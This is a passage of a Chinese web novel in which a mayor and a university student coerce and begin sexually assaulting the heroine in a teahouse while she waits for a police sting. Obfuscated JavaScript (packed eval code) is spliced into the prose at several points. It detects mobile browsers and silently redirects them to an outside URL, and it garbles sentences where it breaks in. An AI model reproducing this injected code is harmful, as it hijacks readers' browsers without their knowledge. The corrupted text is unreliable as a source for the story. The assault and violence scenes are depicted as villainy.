这个时候,张简栾起身了,他踱着步接近两人,在庄森芽旁边站定,居高临下看着她。 仰头的姿势很难受,对方干柴似的长相经过头顶的打光看起来有些阴森,更是让她胃里翻涌着难受,就像是感受到了巨大的压力。 市长露出一个笑容,可那实在说不上友善,经典的皮在笑而肉不笑,“你是怎么认识孙朴这个人的呢?” 听他的意思,无疑也已经看到了她在社交平台上发的那篇文章,上面提到「孙朴孙先生会站出来替我讨回公道」,看到这句话的人都会默认发布文章的人认识孙朴。 “您是?”她不太确定地问。 “我是谁不重要。”他神色又冷却了几分,像因为她的问话而感到不快,可即便如此,嘴角那仿佛做了拉皮手术的上扬弧度还在维系着,“我有一个朋友,他最近联系不上这位孙先生了,想知道他是否还好。” “应该……还好吧。” 被诺特斯和隔壁市长以妻女作为要挟控制住了,这算还好吗…… “你最近见过他?”张简栾问。 庄森芽支支吾吾,半天也说不出个所以然来。 这不能怪她,她本来就连这个孙朴长什么样子都不知道。 砰! “!”突然一声巨响,庄森芽一惊,只见一只捏紧的拳头砸在旁边的茶柜上。 陶瓷的茶碗叮叮当当,发出骚乱而短促的巨大声响。 张简栾的模样风淡云轻,转了转自己的手腕,“这茶柜太晃,该修理了。” 这时候,裴佑哲开口了,“您放在这里就好,我会修的。” 听到年轻人这么说,张简栾两手背在身后,似乎没了交流的意图,慢悠悠又往棋盘桌走,回到了原本的位置上。 庄森芽心有余悸地瞥着那人的身影,从刚才开始就能感觉到一种无形的压迫,就仿佛被蛇盯上了一样,让人感觉十分不适,甚至还有些惧怕。 “他问你什么,你就回答。”裴佑哲压低的声音响起。 庄森芽转过头来,刚想说什么,就看到了对面的人隐忍的神色,像在压制着巨大的不安。 这是怎么回事?为什么裴佑哲会是这幅表情…… 难道说,他也怕他? 他们不是一伙的吗……? “你和这个孙朴见过面吗?”裴佑哲又恢复了正常的音色,向她问道。 庄森芽滴溜溜地转动眼珠,脑海里飞快地旋转着。 要是不放出点什么信息出来,张简栾看她嘴里吐不出有用的东西,失去了耐心拍拍屁股走了可就不好了。 这么想着,她张口说道:“……见过。” “什么时候,在哪里?”裴佑哲问。 “就前两天,具体地点是……临安街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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裴佑哲显然不在陌生人的范畴,可也不算是什么身边的人。她没想到他居然记住了她的生日,而且不需要临时去翻翻备忘录什么的。 这让她心情有点复杂,还有点心虚。 毕竟前不久刚参加过对方的生日宴会,然而现在她却想不起来那是十一月的多少号了。 不过转念一想,记不住也没什么,他们早就不是什么要好的关系,需要礼尚往来记住彼此生日这种方式来维系。 “你跟他是通过什么联系的?”裴佑哲光明正大翻着她的手机,头也不抬地问。 庄森芽心惊胆战地盯着自己的手机壳,生怕被裴佑哲看到什么敏感信息。多亏前些天诺特斯是通过本地方式把那张收据图片传给她的,在聊天记录里没留下痕迹,不然当下就要暴露了。 “呃,电话。” “哪个是他的电话号码?” “我……没存在通讯录里,得看一眼。” 听到这里,裴佑哲这才把手机物归原主。 庄森芽拿到之后,强装镇定翻找着通讯记录。 可是……哪有什么记录啊! 一个谎需要更多的谎言来圆,她可算是明白了这句老话。 173. 见机而作 对面的人虎视眈眈盯着她,情急之下,她找到了一个有过几次通讯、但暂且还没得到一个备注的号码——是诺特斯的,虽然社交账号给他的备注是‘神经病’,但这种最古老基础的通讯方式却还没来得及标注什么。 “……这个。”点开这个号码的信息页面,庄森芽把手机推了回去。 裴佑哲没有接过来,而是就这么让它躺在两人之间,“手机就放在这里,拨过去。” 她吞了口口水,左手悄悄掐住自己的右大臂,叫它不要颤抖。 指尖移动到拨通键上,轻轻按了下去。 几秒之后,电话被接通了。 接通的一刻,庄森芽凑上前去,对着它说:“喂,孙先生吗?” 扬声器传来了一段警惕的空白,但又同时响起一种专属于电子的静默,证明另一边有人在听。 “我是庄森芽……”她说着,看到对面的裴佑哲在手机上敲了一段话,内容是「我有重要的事情想找你面谈」,于是她照着念,“我有重要的事情想找你面谈。” 听筒的另一边还是默然,但细微的嘈杂声证明电话还在接通中。 裴佑哲眯起眼睛,审慎地盯着通话界面,又抬起眼睛打量着庄森芽。 而就在这个时候,电话突然挂断了,忙音响了起来,这才是另一边无人的表现。 “孙先生可能……比较警惕。”庄森芽找了个借口。 裴佑哲的模样十分敏锐,“这真的是孙朴的电话号码?” “是的。” 话音落下之后,茶室的另一端响起了一阵叹息。市长张简栾一手拄着自己的太阳穴,视线垂落在棋盘上,目光是阴冷的。 那声叹息宛如他对现状的失望,混杂着一股待发的怒意。 庄森芽还没什么反应的时候,对面的裴佑哲却好像紧张了起来,语气更加急促了一些,“你给他发短信也好,怎样也好,消除他的疑虑,让他开口说话,把他人叫出来,或者问出他现在的位置。” “那我试试给他发个短信……” 诺特斯刚才肯定是因为怕露馅才没有开口,一定已经反应过来这是一场演戏,这样的话交流起来就容易多了。 这是个拖延时间的好机会,她低头盯着自己的手机,斟酌着话语。 而偏偏就这个时候,一个电话打了进来。 有些出乎意料地,还是刚才的电话号码。 她一愣,手上的动作停滞了。 “接。”茶桌对面的裴佑哲说。 庄森芽犹犹豫豫,还是按下接通键,心惊胆战地开启了免提,生怕听筒里传来的是诺特斯的声音。 然而她似乎多虑了,另一边响起的是一个陌生男人的声音。 “喂,庄森芽?” 她一头雾水,暂且回应,“对,是我。” “刚才信号不好,我说话你好像听不见。”对面的人说。 庄森芽反应了片刻。 难道现在和她说话的这个人是…… “你刚才说有重要的事情找我,具体是什么事情?” “呃。”庄森芽抬头看了裴佑哲一眼,“电话里不方便说……” 另一端的人沉默了片刻,说道:“你应该知道我现在的情况很特殊,你想见到我本人是不可能的。” 与此同时,茶室另一侧的人有了行动。张简栾板着一张脸来到了茶桌的旁边,盯着那上面躺着的手机,眼睑微微睁大了,就仿佛要用视线将手机另一侧的人揪出来。 看张简栾的反应,对面的这个声音应该是属于孙朴没错。 可是她突然搞不清楚现状了,明明手机号是诺特斯的,怎么打来电话的人会是孙朴? 难道诺特斯把自己的手机交给孙朴了……但是这可能吗?这人不到十分钟之前才离开这里,说要去找裴正。 “可是孙先生,这件事情非得当面讲不可。”在另外两人胁迫的凝视之下,庄森芽说。 对面安静了片刻,“你现在在哪?” “我在……”她抬眼,看到裴佑哲给了新的指示,“我在自己家里。” “就你一个人吗?” “是的。” 孙朴一时没回话,外放的扩音器传来滋滋的声响,就仿佛信号不好一样。 “可你的GPS定位不是这么告诉我的。” “呃……?”突如其来的断言让她有些茫然。 “那个茶室我去过。”孙朴的声音变得低沉了几分,“您在吧,张市长。” 庄森芽愣住了。 等等……什么情况? 另一边,脸色阴沉的现任市长有了行动,他抓起茶桌上的手机,力道像要将它握碎一样。 “能耐不小啊,孙朴。” “您过奖了。” “拐弯抹角叫一个乳臭未干的小孩发那篇文章,你想干什么?” “没什么,真心诚意想要帮助她家的光曙公司脱离困境。” “你想怎么帮?” “这个或许您比我清楚,有问题就解决问题,受到了压迫就奋起反抗,既然是原材料钑被一个无良集团垄断,导致价格远超过去的市场价,那么只要解决这个集团,问题就不存在了。” “口气真狂妄啊。”张简栾露出一个残忍的笑容,“你这是打算公然和我对抗。” “不,您在说什么?”电话另一端的人听起来很意外,“您和腾滨集团又有什么关系呢,这只是我和裴正的个人恩怨罢了。” 听到这里,庄森芽向裴佑哲投去了视线。 虽然一直没明说,但‘腾滨集团百般打压光曙公司’这件事她早就知道了,她不知道裴佑哲知不知道她知道,只是这一刻,无论谁知道什么,赤|裸裸的事实都已经被电话另一边的人阐述了出来。 这时候她再去看他,目光带着质疑。 而裴佑哲则没有回视,视线落在煮沸的茶壶上,睫毛遮挡着光线,彰显出违背本人意愿的低落,他没有掀盖的意图。 电话另一端的孙朴说:“说来,您一定知道裴正现在在哪吧,我打他的手机关机,实在是联系不上,可我还想跟他聊聊两年前他来找我订购的那批食用盐的事情呢。” 张简栾的脸色变得僵硬起来,“……你到底想干什么?” “见见老朋友,谈谈心,就这么简单。” 现任市长半晌没说话。 像要戳破这片沉默,对面的孙朴又开口了,“我这些话,要是没有听众的话,就只能讲给检察院的人听了。” 似乎有什么在轰隆隆地作响,几乎难以觉察。 那是张简栾的怒意。 “……想见面是吧,你来茶室。” “那不是羊入虎口吗。” “想见裴正你只能来这里。” 电话对面的人不肯退让,“除非您能证明裴正现在就在茶室,不然我是不会过去的。” “我叫他过来。” “那等他到了,您再打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894414|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话联系我吧。” 没有任何停顿地,孙朴挂掉了电话。 一时间,隔间内回荡的只有拉长的一缕忙音。 空气中那种隆隆作响的震动声更为强烈了。 紧接着,没有任何预兆地,张简栾把手机猛然摔在了地上。 咚! 合金与木制的地板发出沉闷声响,听不出来是谁受的伤更严重一点。 庄森芽倒吸了一口冷气,双眼都睁大了,但愣是没发出什么声音来,只在心里哀嚎—— 手机……我的手机!! 张简栾捋了一把头发,愤怒扰乱了他的音色,使它变得颤抖,“妈的……妈的。” 他往棋盘桌的方向走,大手一挥,打翻了棋盘,黑子白子应声而落,制造了一场混乱的灾难。 “你!”他撑着桌面,骤然转过头来,指着裴佑哲的方向,“叫你爸过来。” 从刚才开始,裴佑哲就毫无反应地坐在那里,像是思绪早就飘远了。 听到张简栾暴怒的命令,他这才行动起来,默不作声翻出自己的手机,拨了个电话出去,自始至终脸上什么表情都没有。 庄森芽大气不敢出,安静地观察着局势的发展。 她最开始的任务是拖延时间,直到诺特斯找到裴正为止,那之后才能通知机承望那边出动警方,一举将他们两个拿下。 然而诺特斯迟迟不回来,就说明在‘找裴正’这件事上遇到了什么困难。 不过现在,裴佑哲在打电话叫他的父亲过来…… 也就是说,虽然过程有点不在计划之中,但总的来说似乎还是在向他们预期的方向发展……? “喂,爸。”裴佑哲打出去的电话接通了,“你能来茶室一趟吗?” 静待了片刻,年轻人看向张简栾的方向,“他说他已经进安检了。” “那也回来。” 倾听半晌,裴佑哲再度开口,“他说这是今天最后一趟去墨西哥的航班。” “狗日的我叫他回来!”张简栾像是再也维系不住表面的冷静,破口大骂。 裴佑哲垂下眼睛,在市长的暴怒之下,他似乎也不敢有什么违逆的表现,“爸,张市长说……必须过来。” 不知道对面又回应了些什么,片刻之后,裴佑哲挂掉了电话,对张简栾汇报说:“他一个小时到。” “一个小时……真有够墨迹的。”另一边,张简栾仰起头来,长出了一口气,里面满是无处发泄的盛怒。 庄森芽在一旁看着,不能说噤若寒蝉,但的确有点看呆了。 有一点让她很困惑。 虽然最开始就隐约觉察出一点不对劲,但现在似乎可以确认了。 裴佑哲和这个张简栾绝对不是什么合作关系,起码称不上是什么友好相处的关系。 刨除年龄和地位的差距,还有什么东西是不平等的,这导致这个一向风光、几乎没怎么低过头的学生会主席会是这样一副谨小慎微的姿态。 庄森芽悄悄打量着裴佑哲的模样,仔细观察的话,他似乎有些没精打采,话也不多,而且好像一直在压抑着什么。 刚才电话说什么来着?说裴正本来已经过了安检,要去墨西哥? 可是,今天在茶室的会面,事关当年的食品安全事件,张简栾和裴正两个人都应该很紧张才对。 那为什么裴正会在这个节骨眼上会出国,把自己的儿子留在上茂市,丢给这个脾气阴晴不定的市长…… 174. 事变 另一边,张简栾又接连给不同的人打了几个电话,交流的气氛都很低沉,内容主要围绕着加强茶室周围的警戒、打探警局的口风,以及一些庄森芽听不太懂的内容,不过根据‘销毁’、‘封口’之类的字眼,大抵能够猜出是与两年前的食品安全事件有关的。 趁这个空档,她悄悄蹲在地上,把自己可怜兮兮的手机拾了起来。 裴佑哲对她的行为睁一只眼闭一只眼,没有说什么。 这更让她觉得他和那个市长不是一伙的了。 检查了一番手机,发现壳碎掉了一个角,手机膜也裂开了,可见摔它的人用了多大的力气。 但好在功能似乎没收到什么影响,还能正常使用。 她想给诺特斯发消息,问问他那边怎么样了,但又怕小动作被人发现,计划败露,功亏一篑,于是只好老老实实闷声把破碎的小东西收了起来,什么也没干。 门口那两个高大的打手还尽职尽责地站着,摆放着的枯藤装饰物为茶室徒增了几分阴森的气息,在等待裴正抵达的过程中,隔间的气氛很微妙,人心各异。 张简栾在结束了一通又一通电话之后,总算是停歇了片刻。 他坐在棋盘桌旁边的木藤椅上,把脚下碍事的棋子踢去一旁,翘起二郎腿,先是沉思了一阵子,而后,没什么预兆性地,冰冷阴狠的目光向茶桌旁边的两人刺去。 就算不去看,庄森芽也能感受到那股锐利的注视,她有点局促地偏过头去,不想和这个一看脾气就不怎么好的市长先生搭上什么腔。 只要裴正出现,她的任务就完成了,在那之前并不想节外生枝。 然而事实总是不似预想。 张简栾从座椅上站起来,将表情都掩藏了起来,游荡到茶桌旁边,用一根细杆挑开壶盖,像个没事人一样问:“这茶煮了半天了,怎么不喝?” 裴佑哲闻言,翻开了倒扣的黑漆茶杯,调小了火候,用一块棉布垫在壶把上,站起来给茶杯里倒茶。 他只满了一杯,显然不是给他自己的,也更不是给另一边的庄森芽。 张简栾捏着杯边,提起来,在鼻下嗅闻,一口未沾,又放回原处,视线自上而下打量着两个年轻人,心里不知在想些什么。 “你们两个是大学同学,是吧。”他张口问。 “是。”裴佑哲回应。 “平时来往多吗。” “就是正常的往来。” 张简栾顿了顿,想起来什么似的,“哦对了,她不是庄洪成的女儿吗,那你们是上过同一所高中吧。” “……是。”裴佑哲的口吻开始有些犹豫。 “挺有意思,敌家的孩子总是聚一起。”他在茶桌旁踱步,想到了什么似的,冷声一笑,而后在另一旁的主座上坐下,一只胳膊撑在桌沿,目光透过茶壶上氤氲的水汽刺来。 庄森芽只觉得坐立不安,不理解这个市长为什么突然对他们俩的事情说个不停。 她只想一再降低自己的存在感,最好谁也不要注意到她还在这。 但显然这是不可能的。 张简栾用指尖点了点木制的桌面,朝门口那两个极具压迫力的打手比了个手势。 他们凑近了一些,站在了令人更加不安的近处。 “裴正有多恨庄洪成这事就连我也知道。”张简栾说,“你作为儿子,没想过为他排忧解难吗。” “……”裴佑哲无言,低头盯着被漆打亮过的桌面。 “你爸还有将近一个小时才能赶到,这段时间我们只能干等。”他就像在诱导什么一样,别有用意地阐述着当下的情况,“这里发生的一切都不会传出去,茶室是你家的,这点你应该比我清楚。” 到这里,庄森芽听出一些什么不对劲。 怎么感觉……自己当下的处境好像有点危险。 裴佑哲还是低着头,不知道他究竟是听不懂张简栾的话,还是听懂了,但不为所动。 从裴佑哲那里得不到什么回应,张简栾也不再说什么了,他目光落在庄森芽的身上,上下打量了一番,神色变了几分,与最初不把她当一回事的那种轻蔑视线不同,里面多了些什么东西——那既将她在某一方面正视,又否定着其他的价值。 “姓庄的女儿倒是好看,主要还是归功于他老婆了。” 听他语气轻浮地议论着自己的家人,庄森芽只觉得十分别扭。皱起眉头,回瞪过去,然而张简栾却不把她小小的怒火当一回事,依然用直白的视线凝视着她。 他就那么看了一阵子,眼里的鄙夷与轻浮越积越深,他无声地给不远处的□□使了个眼色,而后靠在椅背上,眉眼上笼罩着一层阴影,潜藏着一种压力之下生出的癫狂。 看到那两个高大的男人逼近,庄森芽警铃大作,蹭一下子从座位上站起来,扭头就往隔间大门的方向跑。 然后一双熊掌一样的手快她一步,按住肩膀,硬生生将她压回了座位上。 “干什么……!”被压制住的庄森芽动弹不得,只能盯着张简栾,怒问。 市长以沉默应答,仿佛不把她当成能够平起平坐交流的对象。他拨弄着已经冷却的壶盖,盯着它,说:“裴家的,是要自己来还是要我逼你。” 裴佑哲垂着脑袋,发出了一声颤抖的、仿佛在按捺什么一般的吐息。 然而他就像是被什么束缚住了一样,依然没有任何动作。 “还是一个屁都不放。”张简栾的口气十分恶劣,逐渐显露出丑恶的嘴脸,“前一阵不是在这玩得挺欢的吗,叫了一帮毛头小子过来,把石家的千金骗过来羞辱。一样的戏码,换了些观众,怎么就开始扭捏起来了。” ……这是在说什么? 庄森芽向裴佑哲投去不解的目光,后者咬紧牙关,缓缓闭上眼睛,仿佛承认了些什么,“……是她逼我的。” “石镰闹到我这里来,说要给他的宝贝女儿讨一个公道。”张简栾把弄着刚才从地上搜刮来的一颗黑子,语气事不关己,“裴正来求我,所以我替你把事情压下去了。而针对这件事,你还没有报答我。” 裴佑哲攥紧了拳头,将头一低再低。 “我跟庄洪成倒是没有什么深仇大恨,但是他跟他老婆和机承望走得很近。两年前,机承望刚撤职的时候,这夫妻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但是看他刚才无话反驳的样子,庄森芽又不是那么确定了。 “……我做不到。”时隔良久,裴佑哲说了第一句话。 张简栾的脸上满布阴霾,“哦,意思就是非要我逼你了。” 他一努嘴,其中一个打手离开了庄森芽的身边,来到茶桌的对侧,像一个庞大的阴影一样笼罩在裴佑哲的身后。 尽管裴佑哲时常会去健身,然而在将近两米的男人面前,量级上的差距还是太大了,真的动起手来,他不会有什么还手之力。 “别闹得谁都不开心。”现任市长半眯着眼睛,一副作壁上观的模样,“你爸最终能不能平平安安地逃出国,全看你的表现。当然,我是更希望他直接消失的,毕竟他知道太多关于我的事情了。” 裴佑哲的身体在抖,似乎比以往每一刻都要难以压制。 庄森芽悄然低头,紧张地看了一眼手机。 可恶,为什么才过去二十多分钟,裴正还要半个多小时才能到…… 只要这两个重量级人物会了面,诺特斯即刻就会通知机承望那边,机承望再通知待命的警方,警方将这里包围,她就能趁乱脱离困境了。 不知道诺特斯现在在哪,不过,就算他在这附近,也不能让他贸然出手解救她。 不然弄出什么乱子来,引起了这帮人的警惕,让裴正跑掉就全都完蛋了,人逃出国就不好抓了。 这三十多分钟,她必须想办法熬过去…… 175. 意外频发 “森芽。” 就在沉思的时候,一个声音呼唤着她。 抬起头来,她与裴佑哲的双眼蓦然对视。 在这个瞬间,他脸上的表情十分复杂,眉尾低垂着,眼中交织着无奈、悔恨,与歉意,可如果仔细往深处看去,亦能看到渴求与彷徨。 他就像是突然被一场瓢泼大雨打湿了,模样落魄不已,连声音也因寒冷而颤抖。 “……对不起。” 不会吧。 庄森芽的心脏一下子提到了嗓子眼。 裴佑哲从座位上站了起来,绕过茶桌,接近她,步伐缓慢,却是笃定无比的。 就仿佛下定了什么决心。 她开始扭动起来,不好的预感使人汗毛倒立,可是肩膀还被身后那个□□牢牢按着,外套都扭得乱七八糟,也没有半点挣脱出来的迹象。 眼看着裴佑哲越来越近,一双温热的手覆盖在她的脸颊上,庄森芽只觉得起了一身的鸡皮疙瘩。 捧起脸庞的动作宛如将她视作什么珍宝,然而他接下来打算要做的事情却与其背道而驰。 “等等,佑哲,你……你冷静一下。”庄森芽徒劳地抓着对方的手臂,身体紧着往椅子里缩,“没必要这样,你别听他的……” 她要怎么解释张简栾很快就要被抓了,所以现在根本不用把他的话当一回事? 暗示他再坚持三十分钟,然后一切就都会好起来? 不行,裴佑哲虽是个聪明人,可是张简栾也是个人精,哈里森大学学生会主席能听懂的隐晦暗示,上茂市市长也不会不明白。 要是让张简栾升起什么警惕心,从这个茶室跑了,结果还是功亏一篑。 裴佑哲看起来已经铁了心要和她发生点什么,话语无法动摇他。他剥开她身上的外套,眼里的目光开始有些麻木失神,就仿佛在逃避当下所做的一切一样。 和他再说什么似乎也没意义了,庄森芽把目光放在了另一边优哉游哉的人身上。 “张市长,你劝你积点德……!”她大声说道,一面瞪着他,一面抓紧自己的外套,做出一点小小的微弱反抗,“我又不是哑巴,你就不怕我把今天的事情说出去吗?” “哼。”张简栾轻蔑地一笑,甚至懒得回答她。挥挥手,打手就十分识相地捂住了庄森芽的嘴巴。 庄森芽顿时睁大了眼睛,撕扯着那只布满青筋的手,头颅向后仰去,脆弱的脖颈露了出来。 心里哀嚎着:捂嘴就算了,捂鼻子干嘛?这是要谋杀啊! 等一下,她好像真的没法呼吸了…… 胸膛的起伏渐渐变得剧烈,她痛苦地皱起眉头,感觉像是被巨石压住了,整个人难受至极,徒劳地扭动起来,像条砧板上垂死的鱼。 但酷刑没有持续多久,那只手很快放开了她,氧气重回肺部,庄森芽大口平复着呼吸,视野都因眼角挤出的生理盐水而朦胧。 解救她的人是裴佑哲,但只是临时性的,那只帮她脱困的手制造了新的困境,他开始解她的裤子上的纽扣了。 “别,别……”她忙不迭地劝阻,因缺氧而起的剧烈喘息尚未平复,双腿奋力地蹬着,挣扎从未停歇,意有所指地喊着,“别继续了,不然他不会放过你的……!” 听到这句话,裴佑哲抬起头来,来回盯着她的双眼。 渐渐地,他麻木的神色中出现了其他的情绪,那一开始是疑惑,而后变得空白,紧接着,一股强烈的怨恨浮现了上来。 这句话仿佛刺激到了他,非但没有停,反而变本加厉了。 他猛然擒住她的双手,将它们吊高,交给另一个作恶的人,又卡进她的两腿之间,将人牢牢固定在了木制的座椅之上。 双手被吊起,身体一点也动弹不得,庄森芽不知道自己现在看起来什么模样,但听见张简栾吹了声口哨,她便明白,这一定是极其不雅的画面。 挣脱又挣脱不开,谁也不把她口头上的威胁当一回事,她开始绝望起来,心想自己是不是真的要完蛋了。 早知道让诺特斯带点傍身的东西进来…… 一只作乱的手打断了她的思绪,指尖抚过跨部,向后抵达山丘。 她顿时警铃大作,不是因为被人摸了,而是因为刚才诺特斯留给她的那只录音笔还在口袋里。 裴佑哲的动作一僵,无疑是碰到了它。 完了完了完了,这才是彻底的完了。 庄森芽整个身体都紧绷了起来,生怕下一刻看到的,是裴佑哲高举着那支录音笔,问她这是什么。 然而脑海里的画面并没有成为现实,身前的人动作只是一顿,而后又继续下去。 等等……他是没摸出来那是什么东西吗……? 心脏都提到了嗓子眼,她僵硬得像一块干瘪的木头,任人上下其手也不敢再有什么动作了。 张简栾在一旁饶有兴致的看着他们,就仿佛眼前是一块巨大的荧幕,上面正播放着一些限制级的画面。 而就在这个时候,一连串手机铃声响了起来。 顿时,所有人的注意都被声音吸引了过去,它是从庄森芽的灰色外套里发出来的,而这件外套刚刚才被人从它的主人身上扒下来,冷落地甩在一旁。 裴佑哲的动作停了,迟疑一瞬,把外套拿过来,取出当中的手机。 屏幕上的来电提示让他眉头轻轻皱了一下,他没看手机的主人,反而向另一边的张简栾说:“……是孙朴打来的。” 张简栾眯起眼睛,眼中的狠厉又回来了,“外放。” 裴佑哲闻言照做,接起通话,打开免提。 一时间,所有人的注意力都在这个小小的手机上,这才给了衣冠不整的庄森芽片刻喘息。 “喂,你还在茶室吗?”电话另一边是孙朴的声音。 在众人的注视之下,她这才发应过来孙朴这是在向她问话,禁锢之中,她艰难地作答,“在……我在。” “还没走?是遇到什么困难了?” “呃……” 她斜眼看了张简栾一眼,后者没看她,一副她怎么回答都行的模样,就仿佛无论是她求救也好,不求救也罢,结局都在他的掌控之中。 庄森芽咽了口口水,脑海里飞速地旋转着,这通突如其来电话可谓是一株救命稻草,挂掉就真的再也没有第二次机会了。 这时候,对面的孙朴又开口了,声音听起来有些僵硬,就像是在念稿,“遇到什么危险的话,先保护好自己,其他都是次要的。” 陌生的声音,陌生的语气,可她却偏偏在其中听出了一丝熟悉的意味。 她和这个孙朴从来没见过,也从来没说过话,连对方是怎样性格的人都不知道,这样的关怀未免有些太过唐突。 可如果此刻真正在和她对话的其实是另一个人,一切就都豁然开朗了。 双腕尚且被人紧紧攥在手中,庄森芽朝前探出身去,试图离裴佑哲手中的手机近一些,仿佛在向那小小的物件求救,“你会来的吧,孙先生?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894416|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >对面的人回答之前总有一小段不长不短的沉默,就好像远距离的声音传输有延迟,又或者他需要一点时间反应,“我肯定会去的,不用担心。” “你现在在哪呢?” “我就在茶室的附近。” 听到电话那头的声音,另一边的张简栾蹙起了眉头,他给了另一个无所事事的打手一个眼色。打手明白了他的意思,悄声离开了隔间。 “你还有多久才能来?”她急切地朝电话对面的人问道,实际问话的人又不是他。 “裴正到了,我也就到了。” “我快要坚持不下去了……” 另一端的人沉默了片刻,“好,我知道了。” 而后电话就挂断了,她还有点懵,就这么戛然而止,一点预兆都没有。 “……孙朴说他就在附近。”听完了这通电话的裴佑哲说。 张简栾深吸了一口气,沉重地呼出去,“他在监视这里,看裴正是不是真的来了吧。” “是不是可以派人去把他找出来……” “我知道你在想什么,小子。你以为只要把孙朴揪出来,就没你爸什么事了,于是他就可以逃之夭夭。”张简栾讥讽地一笑,破灭了另一个人的幻想,“可要是没把孙朴逮出来怎么办,到时候竹篮打水一场空,你承担得起这个后果吗?” 裴佑哲不作声了,像根柱子似的立在那里。 “现在,该做什么就做什么。我们等裴正过来,再等孙朴出现,计划没变。”他摆摆手,语气轻蔑,“所以,你手上的事也可以继续了。” 焦点又回到了庄森芽的身上,当事人表示很无助。 救命稻草……就这么断了……只帮她拖延了短短几分钟的时间,并没有改善当下的境况。 眼看着裴佑哲又欺身上前,她绝望地摇头。 继续下去绝对会死得很惨,一点也不怀疑过程中肯定会被录像和拍照,身败名裂这四个大字即将镌刻在她的人生当中。 刚要破罐子破摔地大声叫喊,突然,周围暗了下来。 仿佛只在一瞬间,所有的光源都切断了。 虽然现在还是白天,但因为隔间里深色装修的缘故,加之窗外植被的遮挡,人工灯光一旦消失,就变得和夜晚没什么两样。 几人四下环视着,一时谁也没搞清楚是什么情况。 张简栾拿手机拨通了一个号码,语气不怎么友好,“怎么回事?” 电话对面的女声似乎在朝他解释些什么,只见张简栾双眉间的沟壑越来越深。 “闹事的学生把电闸砸了?” 两人又交流了一番,片刻之后,他怒目挂掉了电话。 紧接着,鹰一样的视线刺向裴佑哲,“你可真会在节骨眼上添乱。” 裴佑哲看上去不明所以,没说话。 “得罪不起的人就不要惹,这点道理你爸没教你吗。”张简栾用十分严厉的口吻说,“那个石家千金带着人来了,是来找你的。我已经帮你搞定了她爹,小辈之间的恩怨你自己想办法摆平吧,速战速决,不要耽误接下来的事。” 听完这段话,裴佑哲的神情有些凝重。 他垂眸沉思半晌,离开庄森芽身边,一言不发地走出隔间。 他的脚步是那般沉重,仿佛在走向什么有去无回的审判庭。 接二连三的打断让这场真人表演没能进行下去,突如其来的变故让人摸不着头脑,庄森芽不明白发生了什么,紧闭着嘴,蜷缩身体,大气也不敢出。 176. 不演了 接下来的二十分钟里,她是在一片暗色中度过的。 张简栾叫了个人过来收拾地上的棋子和棋盘,室内的灯光一直没有恢复,那个钳制着她双手的□□依旧没有放开的意图。 裴佑哲离开之后,市长就心事重重地坐在茶桌的主座上,仿佛把庄森芽整个人都忘了。 她只希望时间过得快一点,再快一点,只要裴正到来自己就彻底解脱了。 大约二十分钟过去,裴佑哲还是没有回来。 “出去看看什么情况。”张简栾指使着最后一个打手,后者依言行事。 终于,束缚着她的枷锁放开了,庄森芽第一件事情就是整理自己的衣物,把该扣的地方扣好,该系的地方都系好。 另一旁,张简栾不知道从哪掏出来的一包烟,点着了火,就这么在室内吸了起来。 当下,隔间里只有他们两个,来打扫卫生的清洁工刚刚已经离开了。 现在看起来是个逃跑的好时机……庄森芽想着。 可是跑出去之后呢?她对这里人生地不熟的,门口还有门卫在把守,怎么看都插翅难飞。 正在纠结的时候,那个打手却是非常迅速地回来了,还带着裴佑哲一起。 刚巧,电力在这一刻恢复了,昏黄的灯光之下,庄森芽看清了裴佑哲的状况。 有些出乎意料地,学生会主席的模样惨不忍睹,比她刚才衣着不整的样子还悲惨。 他是衣冠楚楚出去的,却是一身狼狈地回来。 短发凌乱不已,外套松垮地搭在手臂上,衬衫的扣子掉了几颗,一只鞋不翼而飞,脸上也挂了彩。 怎么看这都是被暴打了一顿。 张简栾打量着他,神色如常,点了点烟,磕掉了一抹烟灰,“闹事的人都走了吗?” “还堵在门口。”把裴佑哲带回来的打手说,“他们说……要把一个姓庄的女生带走。我们的人暂时把他们拦在外面了。” 闻言,庄森芽竖起了耳朵,宛如听到希望的火苗在滋滋作响。 姓庄的女生……是指自己? 外面的人应该是石玥诗吧,难不成是来救她的? 张简栾冷笑了一声,捏着烟蒂,站起身来,踱步到庄森芽身边,如蛇一般冷冰的视线投望下来。 “庄洪成到底是能提供什么好处,一个两个都赶着来帮他女儿。” 他俯下身来,一股烟臭随之而来。 庄森芽皱起眉毛,偏开脸颊。 对方像打量什么物件一样,上下扫视着她,吸了口烟,云雾吐在脸上,燃着火星的烟头离她的眼睛只有几厘米远。 他眼里闪烁着有些癫狂的光,仿佛想要毁掉什么一般。 “是因为这张脸吗?” 烟蒂越来越近了,庄森芽下意识觉得不妙,一个矮身就要逃。 突然,门口响起了剧烈的敲击声。 